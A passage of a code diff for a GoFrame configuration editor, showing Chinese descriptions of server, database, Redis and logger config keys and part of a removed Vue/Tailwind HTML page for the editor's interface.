||||
config.server.cookieMaxAge: "Cookie 最大存活时间"
|
||||
config.server.cookiePath: "Cookie 路径，也影响 Session ID 存储"
|
||||
config.server.cookieDomain: "Cookie 域名，也影响 Session ID 存储"
|
||||
config.server.cookieSameSite: "Cookie SameSite 属性"
|
||||
config.server.cookieSecure: "Cookie Secure 标记"
|
||||
config.server.cookieHttpOnly: "Cookie HttpOnly 标记"
|
||||
config.server.sessionIdName: "Session ID 在 Cookie 中的名称"
|
||||
config.server.sessionMaxAge: "Session 最大存活时间"
|
||||
config.server.sessionPath: "Session 文件存储目录"
|
||||
config.server.sessionCookieMaxAge: "Session ID Cookie 存活时间（0 表示随浏览器关闭）"
|
||||
config.server.sessionCookieOutput: "是否自动将 Session ID 输出到 Cookie"
|
||||
config.server.logPath: "日志文件存储目录"
|
||||
config.server.logLevel: "日志级别（all, debug, info, notice, warning, error, critical）"
|
||||
config.server.logStdout: "是否将日志输出到标准输出"
|
||||
config.server.errorStack: "错误日志是否记录堆栈信息"
|
||||
config.server.errorLogEnabled: "是否启用错误日志文件"
|
||||
config.server.errorLogPattern: "错误日志文件名模式"
|
||||
config.server.accessLogEnabled: "是否启用访问日志文件"
|
||||
config.server.accessLogPattern: "访问日志文件名模式"
|
||||
config.server.pprofEnabled: "是否启用 PProf 性能分析"
|
||||
config.server.pprofPattern: "PProf 路由模式"
|
||||
config.server.openapiPath: "OpenApi 规范文件路径"
|
||||
config.server.swaggerPath: "Swagger UI 路由路径"
|
||||
config.server.swaggerUITemplate: "自定义 Swagger UI 模板"
|
||||
config.server.graceful: "是否启用优雅重载"
|
||||
config.server.gracefulTimeout: "优雅重载时父进程最大存活时间（秒）"
|
||||
config.server.gracefulShutdownTimeout: "优雅关闭时最大等待时间（秒）"
|
||||
config.server.clientMaxBodySize: "客户端请求体最大字节数（默认 8MB）"
|
||||
config.server.formParsingMemory: "表单解析最大内存缓冲（默认 1MB）"
|
||||
config.server.nameToUriType: "方法名转 URI 类型（0=默认, 1=全名, 2=全小写, 3=驼峰）"
|
||||
config.server.routeOverWrite: "是否允许覆盖重复路由"
|
||||
config.server.dumpRouterMap: "服务启动时是否打印路由表"
|
||||
|
||||
# Database 数据库模块
|
||||
config.database.host: "数据库服务器地址（IP 或域名）"
|
||||
config.database.port: "数据库服务器端口号"
|
||||
config.database.user: "数据库认证用户名"
|
||||
config.database.pass: "数据库认证密码"
|
||||
config.database.name: "默认数据库名称"
|
||||
config.database.type: "数据库类型（mysql, pgsql, sqlite, mssql, oracle, clickhouse, dm）"
|
||||
config.database.link: "自定义连接字符串（包含所有配置信息）"
|
||||
config.database.extra: "第三方驱动的额外配置选项"
|
||||
config.database.role: "主从架构中的节点角色（master/slave）"
|
||||
config.database.debug: "是否启用调试模式"
|
||||
config.database.prefix: "数据表名称前缀"
|
||||
config.database.dryRun: "模拟模式：仅执行 SELECT，跳过增删改操作"
|
||||
config.database.weight: "负载均衡权重"
|
||||
config.database.charset: "数据库字符集"
|
||||
config.database.protocol: "网络连接协议"
|
||||
config.database.timezone: "时区设置"
|
||||
config.database.namespace: "Schema 命名空间（如 PostgreSQL 的 schema）"
|
||||
config.database.maxIdle: "连接池最大空闲连接数"
|
||||
config.database.maxOpen: "连接池最大连接数（0 表示无限制）"
|
||||
config.database.maxLifeTime: "连接最大生存时间"
|
||||
config.database.maxIdleTime: "连接最大空闲时间"
|
||||
config.database.queryTimeout: "查询操作（SELECT）超时时间"
|
||||
config.database.execTimeout: "执行操作（INSERT/UPDATE/DELETE）超时时间"
|
||||
config.database.tranTimeout: "事务块超时时间"
|
||||
config.database.prepareTimeout: "预处理语句超时时间"
|
||||
config.database.createdAt: "自动创建时间戳字段名"
|
||||
config.database.updatedAt: "自动更新时间戳字段名"
|
||||
config.database.deletedAt: "软删除时间戳字段名"
|
||||
config.database.timeMaintainDisabled: "是否禁用自动时间维护"
|
||||
|
||||
# Redis 模块
|
||||
config.redis.address: "Redis 服务器地址，集群模式下多个地址用 ',' 分隔"
|
||||
config.redis.db: "Redis 数据库索引（0-15）"
|
||||
config.redis.user: "认证用户名（Redis 6.0+ 支持）"
|
||||
config.redis.pass: "认证密码"
|
||||
config.redis.sentinelUser: "哨兵认证用户名"
|
||||
config.redis.sentinelPass: "哨兵认证密码"
|
||||
config.redis.minIdle: "连接池最小空闲连接数"
|
||||
config.redis.maxIdle: "连接池最大空闲连接数"
|
||||
config.redis.maxActive: "最大活跃连接数（0 表示无限制）"
|
||||
config.redis.maxConnLifetime: "连接最大生存时间"
|
||||
config.redis.idleTimeout: "空闲连接超时时间"
|
||||
config.redis.waitTimeout: "从连接池获取连接的等待超时"
|
||||
config.redis.dialTimeout: "TCP 连接拨号超时"
|
||||
config.redis.readTimeout: "TCP 读取超时"
|
||||
config.redis.writeTimeout: "TCP 写入超时"
|
||||
config.redis.masterName: "Redis 哨兵模式下的主节点名称"
|
||||
config.redis.tls: "是否启用 TLS 加密连接"
|
||||
config.redis.tlsSkipVerify: "是否跳过 TLS 服务器名称验证"
|
||||
config.redis.slaveOnly: "是否将所有命令路由到从节点"
|
||||
config.redis.cluster: "是否启用集群模式"
|
||||
config.redis.protocol: "RESP 协议版本（2 或 3）"
|
||||
|
||||
# Logger 日志模块
|
||||
config.logger.flags: "额外的日志输出特性标志"
|
||||
config.logger.timeFormat: "日志时间格式"
|
||||
config.logger.path: "日志文件目录路径"
|
||||
config.logger.file: "日志文件名模式（支持日期变量如 {Y-m-d}）"
|
||||
config.logger.level: "日志级别位掩码（DEBU=16, INFO=32, NOTI=64, WARN=128, ERRO=256, CRIT=512, ALL=992）"
|
||||
config.logger.prefix: "日志内容前缀字符串"
|
||||
config.logger.headerPrint: "是否打印日志头部"
|
||||
config.logger.stdoutPrint: "是否输出到标准输出"
|
||||
config.logger.levelPrint: "是否在日志中打印级别字符串"
|
||||
config.logger.stSkip: "堆栈跳过层数"
|
||||
config.logger.stStatus: "堆栈跟踪状态（1=启用, 0=禁用）"
|
||||
config.logger.stFilter: "堆栈字符串过滤模式"
|
||||
config.logger.rotateSize: "日志文件滚动大小（字节，0 表示不滚动）"
|
||||
config.logger.rotateExpire: "日志文件滚动时间间隔"
|
||||
config.logger.rotateBackupLimit: "滚动备份文件最大数量（0 表示不限制）"
|
||||
config.logger.rotateBackupExpire: "滚动备份文件过期时间"
|
||||
config.logger.rotateBackupCompress: "备份文件 Gzip 压缩级别（0 表示不压缩）"
|
||||
config.logger.rotateCheckInterval: "异步滚动检查间隔"
|
||||
config.logger.stdoutColorDisabled: "是否禁用标准输出颜色"
|
||||
config.logger.writerColorEnable: "是否启用 Writer 颜色输出"
|
||||
|
||||
# Viewer 模板引擎模块
|
||||
config.viewer.paths: "模板文件搜索路径"
|
||||
config.viewer.data: "全局模板变量"
|
||||
config.viewer.defaultFile: "默认解析模板文件"
|
||||
config.viewer.delimiters: "自定义模板分隔符（左, 右）"
|
||||
config.viewer.autoEncode: "是否自动 HTML 编码以防 XSS"
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@ -1,881 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>GoFrame Config Editor</title>
|
||||
<script src="/static/vue.global.prod.js"></script>
|
||||
<link href="/static/tailwind.min.css" rel="stylesheet">
|
||||
<!-- <script src="https://unpkg.com/vue@3.3.4/dist/vue.global.prod.js"></script>
|
||||
<link href="https://cdnjs.cloudflare.com/ajax/libs/tailwindcss/2.2.19/tailwind.min.css" rel="stylesheet"> -->
|
||||
<style>
|
||||
:root {
|
||||
--primary: #2563EB;
|
||||
--primary-light: #3B82F6;
|
||||
--primary-dark: #1E40AF;
|
||||
--primary-glow: rgba(37, 99, 235, 0.15);
|
||||
--bg-sidebar: #0F172A;
|
||||
--bg-sidebar-hover: #1E293B;
|
||||
--bg-content: #F1F5F9;
|
||||
--bg-card: #FFFFFF;
|
||||
--text-primary: #0F172A;
|
||||
--text-secondary: #64748B;
|
||||
--text-light: #F1F5F9;
|
||||
--text-muted: #94A3B8;
|
||||
--success: #10B981;
|
||||
--danger: #EF4444;
|
||||
--warning: #F59E0B;
|
||||
--accent: #6366F1;
|
||||
--border: #E2E8F0;
|
||||
--border-light: #F1F5F9;
|
||||
--sidebar-width: 260px;
|
||||
--header-height: 60px;
|
||||
--footer-height: 36px;
|
||||
}
|
||||
* { box-sizing: border-box; margin: 0; padding: 0; }
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'PingFang SC', 'Microsoft YaHei', sans-serif;
|
||||
background: var(--bg-content);
|
||||
color: var(--text-primary);
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
::-webkit-scrollbar { width: 5px; height: 5px; }
|
||||
::-webkit-scrollbar-track { background: transparent; }
|
||||
::-webkit-scrollbar-thumb { background: #CBD5E1; border-radius: 10px; }
|
||||
.sidebar-scroll::-webkit-scrollbar-thumb { background: rgba(148, 163, 184, 0.3); }
|
||||
@keyframes fadeInUp { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }
|
||||
@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }
|
||||
@keyframes slideInLeft { from { transform: translateX(-8px); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
|
||||
@keyframes saveAnim { 0% { transform: scale(1); } 30% { transform: scale(0.95); } 60% { transform: scale(1.02); } 100% { transform: scale(1); } }
|
||||
@keyframes checkmark { 0% { stroke-dashoffset: 24; } 100% { stroke-dashoffset: 0; } }
|
||||
@keyframes shimmer { 0% { background-position: -200% 0; } 100% { background-position: 200% 0; } }
|
||||
@keyframes pulseGlow { 0%, 100% { box-shadow: 0 0 0 0 var(--primary-glow); } 50% { box-shadow: 0 0 0 8px transparent; } }
|
||||
.fade-in-up { animation: fadeInUp 0.4s cubic-bezier(0.22, 1, 0.36, 1); }
|
||||
.fade-in { animation: fadeIn 0.3s ease-out; }
|
||||
.slide-in-left { animation: slideInLeft 0.25s cubic-bezier(0.22, 1, 0.36, 1); }
|
||||
.save-anim { animation: saveAnim 0.4s cubic-bezier(0.22, 1, 0.36, 1); }
|
||||
.glass { background: rgba(255, 255, 255, 0.8); backdrop-filter: blur(12px); }
|
||||
.glass-dark { background: rgba(15, 23, 42, 0.85); backdrop-filter: blur(12px); }
|
||||
.field-input {
|
||||
transition: all 0.2s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
border: 1.5px solid var(--border);
|
||||
background: #FAFBFC;
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 13px;
|
||||
}
|
||||
.field-input:hover { border-color: #CBD5E1; background: #FFFFFF; }
|
||||
.field-input:focus { border-color: var(--primary); box-shadow: 0 0 0 3px var(--primary-glow); outline: none; background: #FFFFFF; }
|
||||
.field-input.has-error { border-color: var(--danger); box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.15); }
|
||||
.toggle-switch { position: relative; width: 48px; height: 26px; flex-shrink: 0; }
|
||||
.toggle-switch input { opacity: 0; width: 0; height: 0; position: absolute; }
|
||||
.toggle-slider {
|
||||
position: absolute; cursor: pointer; inset: 0;
|
||||
background: #CBD5E1; border-radius: 26px;
|
||||
transition: all 0.3s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
.toggle-slider:before {
|
||||
content: ""; position: absolute;
|
||||
height: 20px; width: 20px; left: 3px; bottom: 3px;
|
||||
background: white; border-radius: 50%;
|
||||
transition: all 0.3s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,0.15);
|
||||
}
|
||||
input:checked + .toggle-slider { background: var(--primary); }
|
||||
input:checked + .toggle-slider:before { transform: translateX(22px); }
|
||||
.modified-bar {
|
||||
width: 3px; border-radius: 0 2px 2px 0;
|
||||
background: linear-gradient(180deg, var(--primary), var(--accent));
|
||||
position: absolute; left: 0; top: 8px; bottom: 8px;
|
||||
transition: all 0.3s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
.tooltip-wrap { position: relative; }
|
||||
.tooltip-wrap .tip-text {
|
||||
visibility: hidden; opacity: 0;
|
||||
background: var(--bg-sidebar); color: var(--text-light);
|
||||
padding: 8px 14px; border-radius: 8px; font-size: 12px;
|
||||
line-height: 1.5;
|
||||
position: absolute; z-index: 100; bottom: calc(100% + 8px);
|
||||
left: 50%; transform: translateX(-50%) translateY(4px);
|
||||
white-space: normal; max-width: 280px; min-width: 120px;
|
||||
transition: all 0.2s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
pointer-events: none;
|
||||
box-shadow: 0 8px 24px rgba(0,0,0,0.15);
|
||||
}
|
||||
.tooltip-wrap .tip-text::after {
|
||||
content: ''; position: absolute; top: 100%; left: 50%;
|
||||
transform: translateX(-50%);
|
||||
border: 6px solid transparent; border-top-color: var(--bg-sidebar);
|
||||
}
|
||||
.tooltip-wrap:hover .tip-text { visibility: visible; opacity: 1; transform: translateX(-50%) translateY(0); }
|
||||
.group-card {
|
||||
transition: border-color 0.25s cubic-bezier(0.22, 1, 0.36, 1), box-shadow 0.25s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 12px;
|
||||
}
|
||||
.group-card:hover { border-color: #CBD5E1; box-shadow: 0 4px 16px rgba(0,0,0,0.04); }
|
||||
.field-row { transition: all 0.2s ease; position: relative; }
|
||||
.field-row:hover { background: rgba(37, 99, 235, 0.02); }
|
||||
.module-item {
|
||||
transition: all 0.2s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
position: relative; overflow: hidden;
|
||||
}
|
||||
.module-item::before {
|
||||
content: ''; position: absolute; inset: 0;
|
||||
background: linear-gradient(135deg, rgba(37, 99, 235, 0.1), rgba(99, 102, 241, 0.05));
|
||||
opacity: 0; transition: opacity 0.2s ease;
|
||||
}
|
||||
.module-item:hover::before { opacity: 1; }
|
||||
.module-item.active {
|
||||
background: linear-gradient(135deg, #2563EB, #4F46E5);
|
||||
box-shadow: 0 4px 12px rgba(37, 99, 235, 0.3);
|
||||
}
|
||||
.module-item.active::before { opacity: 0; }
|
||||
.type-badge { font-family: 'Courier New', Consolas, monospace; font-size: 11px; letter-spacing: 0.3px; }
|
||||
.btn-save { background: linear-gradient(135deg, #2563EB, #4F46E5); transition: all 0.3s cubic-bezier(0.22, 1, 0.36, 1); }
|
||||
.btn-save:hover { background: linear-gradient(135deg, #1D4ED8, #4338CA); box-shadow: 0 4px 12px rgba(37, 99, 235, 0.35); transform: translateY(-1px); }
|
||||
.btn-save.saved { background: linear-gradient(135deg, #10B981, #059669); box-shadow: 0 4px 12px rgba(16, 185, 129, 0.35); }
|
||||
.toast {
|
||||
position: fixed; top: 20px; right: 20px; z-index: 200;
|
||||
padding: 14px 20px; border-radius: 12px;
|
||||
font-size: 14px; font-weight: 500;
|
||||
box-shadow: 0 8px 32px rgba(0,0,0,0.12);
|
||||
transform: translateX(120%);
|
||||
transition: transform 0.4s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
.toast.show { transform: translateX(0); }
|
||||
.toast.success { background: linear-gradient(135deg, #10B981, #059669); color: white; }
|
||||
.toast.error { background: linear-gradient(135deg, #EF4444, #DC2626); color: white; }
|
||||
.skeleton {
|
||||
background: linear-gradient(90deg, #E2E8F0 25%, #F1F5F9 50%, #E2E8F0 75%);
|
||||
background-size: 200% 100%; animation: shimmer 1.5s infinite; border-radius: 6px;
|
||||
}
|
||||
.status-dot { position: relative; }
|
||||
.status-dot::after {
|
||||
content: ''; position: absolute; inset: -3px;
|
||||
border-radius: 50%; border: 2px solid currentColor;
|
||||
opacity: 0; animation: pulseGlow 2s ease-in-out infinite;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="app">
|
||||
<div :class="['toast', toast.type, toast.show ? 'show' : '']">
|
||||
<div class="flex items-center space-x-2">
|
||||
<svg v-if="toast.type==='success'" class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/></svg>
|
||||
<svg v-else class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
|
||||
<span>{{ toast.message }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<header class="fixed top-0 left-0 right-0 glass z-50" style="height: var(--header-height); border-bottom: 1px solid rgba(226, 232, 240, 0.8);">
|
||||
<div class="h-full flex items-center justify-between px-6">
|
||||
<div class="flex items-center space-x-4">
|
||||
<div class="flex items-center space-x-3">
|
||||
<div class="w-9 h-9 rounded-xl flex items-center justify-center" style="background: linear-gradient(135deg, #2563EB, #4F46E5); box-shadow: 0 2px 8px rgba(37, 99, 235, 0.3);">
|
||||
<svg class="w-5 h-5 text-white" viewBox="0 0 24 24" fill="currentColor"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 15v-4H7l5-7v4h4l-5 7z"/></svg>
|
||||
</div>
|
||||
<div>
|
||||
<h1 class="text-base font-semibold leading-tight" style="color: var(--text-primary);">GoFrame</h1>
|
||||
<p class="text-xs" style="color: var(--text-muted);">Config Editor</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="h-6 w-px bg-gray-200 mx-1"></div>
|
||||
<span class="text-xs font-medium px-2.5 py-1 rounded-full" style="background: linear-gradient(135deg, rgba(37, 99, 235, 0.08), rgba(99, 102, 241, 0.08)); color: var(--primary);">v1.0</span>
|
||||
</div>
|
||||
<div class="flex items-center space-x-3">
|
||||
<div class="relative">
|
||||
<input v-model="searchQuery" type="text"
|
||||
:placeholder="lang==='zh-CN' ? '搜索字段...' : 'Search fields...'"
|
||||
class="w-48 text-sm pl-9 pr-3 py-2 rounded-lg border border-gray-200 bg-gray-50 focus:bg-white focus:border-blue-400 focus:ring-2 focus:ring-blue-100 outline-none transition-all">
|
||||
<svg class="absolute left-3 top-2.5 w-4 h-4 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"/></svg>
|
||||
</div>
|
||||
<div class="flex items-center bg-gray-100 rounded-lg p-0.5" style="border: 1px solid var(--border);">
|
||||
<button @click="switchLang('en')" :class="['px-3 py-1.5 rounded-md text-xs font-semibold tracking-wide transition-all', lang==='en' ? 'bg-white shadow-sm text-blue-600' : 'text-gray-500 hover:text-gray-700']">EN</button>
|
||||
<button @click="switchLang('zh-CN')" :class="['px-3 py-1.5 rounded-md text-xs font-semibold tracking-wide transition-all', lang==='zh-CN' ? 'bg-white shadow-sm text-blue-600' : 'text-gray-500 hover:text-gray-700']">中文</button>
|
||||
</div>
|
||||
<div class="relative">
|
||||
<select v-model="exportFormat" class="appearance-none text-sm font-medium border border-gray-200 rounded-lg pl-3 pr-8 py-2 bg-white hover:border-gray-300 focus:ring-2 focus:ring-blue-100 focus:border-blue-400 outline-none transition-all cursor-pointer" style="color: var(--text-primary);">
|
||||
<option value="yaml">YAML</option>
|
||||
<option value="toml">TOML</option>
|
||||
<option value="json">JSON</option>
|
||||
</select>
|
||||
<svg class="absolute right-2.5 top-3 w-3.5 h-3.5 text-gray-400 pointer-events-none" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"/></svg>
|
||||
</div>
|
||||
<button @click="saveConfig" :class="['btn-save flex items-center space-x-2 px-5 py-2 rounded-lg text-sm font-semibold text-white', saving ? 'saved save-anim' : '']" :disabled="saving">
|
||||
<svg v-if="!saving" class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7H5a2 2 0 00-2 2v9a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-3m-1 4l-3 3m0 0l-3-3m3 3V4"/></svg>
|
||||
<svg v-else class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2.5" d="M5 13l4 4L19 7" style="stroke-dasharray: 24; animation: checkmark 0.4s ease forwards;"/></svg>
|
||||
<span>{{ saving ? (lang==='zh-CN'?'已保存':'Saved!') : (lang==='zh-CN'?'保存配置':'Save') }}</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="flex" style="padding-top: var(--header-height);">
|
||||
<aside class="fixed left-0 bottom-0 sidebar-scroll overflow-y-auto" style="top: var(--header-height); width: var(--sidebar-width); background: var(--bg-sidebar); padding-bottom: var(--footer-height);">
|
||||
<div class="px-5 pt-5 pb-3">
|
||||
<div class="text-xs font-bold uppercase tracking-widest" style="color: #475569;">
|
||||
{{ lang==='zh-CN' ? '配置模块' : 'MODULES' }}
|
||||
</div>
|
||||
</div>
|
||||
<div class="px-3 space-y-1">
|
||||
<div v-for="(schema, idx) in schemas" :key="schema.name" :style="{ animationDelay: idx * 50 + 'ms' }" class="fade-in">
|
||||
<button @click="selectModule(schema.name)"
|
||||
:class="['module-item w-full flex items-center justify-between px-3 py-3 rounded-xl text-sm font-medium', activeModule===schema.name ? 'active text-white' : 'text-gray-400 hover:text-gray-200']">
|
||||
<div class="flex items-center space-x-3 relative z-10">
|
||||
<span class="w-9 h-9 rounded-lg flex items-center justify-center text-base"
|
||||
:style="{ background: activeModule===schema.name ? 'rgba(255,255,255,0.18)' : 'rgba(255,255,255,0.04)', boxShadow: activeModule===schema.name ? 'inset 0 1px 0 rgba(255,255,255,0.1)' : 'none' }">
|
||||
{{ moduleIcons[schema.name] }}
|
||||
</span>
|
||||
<span class="relative z-10">{{ formatModuleName(schema.name) }}</span>
|
||||
</div>
|
||||
<div class="flex items-center space-x-2 relative z-10">
|
||||
<span v-if="getModuleModifiedCount(schema.name) > 0" class="flex items-center justify-center w-5 h-5 rounded-full text-xs font-bold" style="background: rgba(37, 99, 235, 0.2); color: #93C5FD;">
|
||||
{{ getModuleModifiedCount(schema.name) }}
|
||||
</span>
|
||||
<span class="text-xs opacity-50">{{ schema.fields.length }}</span>
|
||||
</div>
|
||||
</button>
|
||||
<div v-show="activeModule===schema.name" class="ml-4 mt-1 mb-2 space-y-0.5 slide-in-left">
|
||||
<button v-for="group in schema.groups" :key="group"
|
||||
@click="scrollToGroup(group)"
|
||||
:class="['w-full text-left flex items-center space-x-2 px-3 py-1.5 rounded-lg text-xs transition-all relative', activeGroup===group ? 'text-blue-400' : 'text-gray-600 hover:text-gray-400']">
|
||||
<span class="w-1.5 h-1.5 rounded-full" :style="{ background: groupHasModified(schema, group) ? '#3B82F6' : activeGroup===group ? '#3B82F6' : '#334155' }"></span>
|
||||
<span>{{ group }}</span>
|
||||
<span class="ml-auto text-xs opacity-40">{{ getGroupFieldCount(schema, group) }}</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="px-5 py-4 mt-4" style="border-top: 1px solid rgba(255,255,255,0.05);">
|
||||
<div class="text-xs" style="color: #475569;">
|
||||
<div class="flex items-center space-x-2 mb-1">
|
||||
<span class="w-2 h-2 rounded-full bg-green-500"></span>
|
||||
<span>{{ schemas.length }} {{ lang==='zh-CN' ? '个模块已加载' : 'modules loaded' }}</span>
|
||||
</div>
|
||||
<div class="flex items-center space-x-2">
|
||||
<span class="w-2 h-2 rounded-full" :class="modifiedCount > 0 ? 'bg-blue-500' : 'bg-gray-600'"></span>
|
||||
<span>{{ modifiedCount }} {{ lang==='zh-CN' ? '处修改' : 'changes' }}</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<main class="flex-1 min-h-screen" style="margin-left: var(--sidebar-width); padding-bottom: calc(var(--footer-height) + 24px);">
|
||||
<div v-if="loading" class="p-6">
|
||||
<div class="max-w-4xl mx-auto space-y-4">
|
||||
<div class="skeleton h-10 w-64 mb-6"></div>
|
||||
<div v-for="i in 3" :key="i" class="bg-white rounded-xl border p-6 space-y-4">
|
||||
<div class="skeleton h-6 w-40"></div>
|
||||
<div v-for="j in 4" :key="j" class="flex items-center space-x-4">
|
||||
<div class="skeleton h-4 w-32"></div>
|
||||
<div class="skeleton h-9 flex-1"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-else-if="!currentSchema" class="flex items-center justify-center h-64">
|
||||
<div class="text-center">
|
||||
<div class="w-16 h-16 mx-auto mb-4 rounded-2xl flex items-center justify-center" style="background: linear-gradient(135deg, rgba(37,99,235,0.08), rgba(99,102,241,0.08));">
|
||||
<svg class="w-8 h-8" style="color: var(--primary);" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"/><path stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/></svg>
|
||||
</div>
|
||||
<p class="text-sm font-medium" style="color: var(--text-secondary);">{{ lang==='zh-CN' ? '请从左侧选择一个配置模块' : 'Select a module from the sidebar' }}</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-else class="p-6">
|
||||
<div class="max-w-4xl mx-auto">
|
||||
<div class="mb-6 fade-in-up">
|
||||
<div class="flex items-center space-x-3 mb-2">
|
||||
<span class="text-2xl">{{ moduleIcons[currentSchema.name] }}</span>
|
||||
<h1 class="text-2xl font-bold" style="color: var(--text-primary);">
|
||||
{{ formatModuleName(currentSchema.name) }}
|
||||
<span class="text-lg font-normal" style="color: var(--text-muted);">{{ lang==='zh-CN' ? '配置' : 'Configuration' }}</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="flex items-center space-x-4 text-sm" style="color: var(--text-secondary);">
|
||||
<span class="flex items-center space-x-1.5">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h7"/></svg>
|
||||
<span>{{ filteredFieldCount }} {{ lang==='zh-CN' ? '个字段' : 'fields' }}</span>
|
||||
</span>
|
||||
<span class="flex items-center space-x-1">
|
||||
<span style="color: var(--text-muted);">{{ lang==='zh-CN' ? '配置节点' : 'Node' }}:</span>
|
||||
<code class="px-2 py-0.5 rounded-md text-xs font-mono" style="background: rgba(37,99,235,0.06); color: var(--primary);">{{ currentSchema.configNode }}</code>
|
||||
</span>
|
||||
</div>
|
||||
<!-- 配置组选择器 -->
|
||||
<div v-if="showConfigGroupSelector" class="mt-4 flex items-center space-x-3">
|
||||
<span class="text-sm font-medium" style="color: var(--text-secondary);">
|
||||
{{ lang==='zh-CN' ? '配置组' : 'Config Group' }}:
|
||||
</span>
|
||||
<div class="flex items-center bg-gray-100 rounded-lg p-0.5" style="border: 1px solid var(--border);">
|
||||
<button v-for="group in configGroups" :key="group"
|
||||
@click="selectConfigGroup(group)"
|
||||
:class="['px-3 py-1.5 rounded-md text-xs font-semibold tracking-wide transition-all', activeConfigGroup===group ? 'bg-white shadow-sm text-blue-600' : 'text-gray-500 hover:text-gray-700']">
|
||||
{{ group }}
|
||||
</button>
|
||||
</div>
|
||||
<span v-if="activeConfigGroup" class="text-xs px-2 py-0.5 rounded-full" style="background: rgba(37,99,235,0.08); color: var(--primary);">
|
||||
{{ activeConfigGroup }}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-for="(group, gIdx) in currentSchema.groups" :key="group" :id="'group-'+group"
|
||||
:style="{ animationDelay: gIdx * 60 + 'ms' }"
|
||||
class="group-card bg-white mb-4 overflow-hidden fade-in-up"
|
||||
v-show="getFilteredGroupFields(group).length > 0">
|
||||
<button @click="toggleGroup(group)"
|
||||
class="w-full flex items-center justify-between px-6 py-4 hover:bg-gray-50 transition-colors group">
|
||||
<div class="flex items-center space-x-3">
|
||||
<div class="w-8 h-8 rounded-lg flex items-center justify-center transition-colors"
|
||||
:style="{ background: expandedGroups[group] ? 'linear-gradient(135deg, rgba(37,99,235,0.1), rgba(99,102,241,0.1))' : '#F8FAFC' }">
|
||||
<svg :class="['w-4 h-4 transition-all duration-300', expandedGroups[group] ? '' : '-rotate-90']"
|
||||
:style="{ color: expandedGroups[group] ? 'var(--primary)' : 'var(--text-muted)' }"
|
||||
fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"/></svg>
|
||||
</div>
|
||||
<h2 class="text-sm font-semibold tracking-wide" style="color: var(--text-primary);">{{ group }}</h2>
|
||||
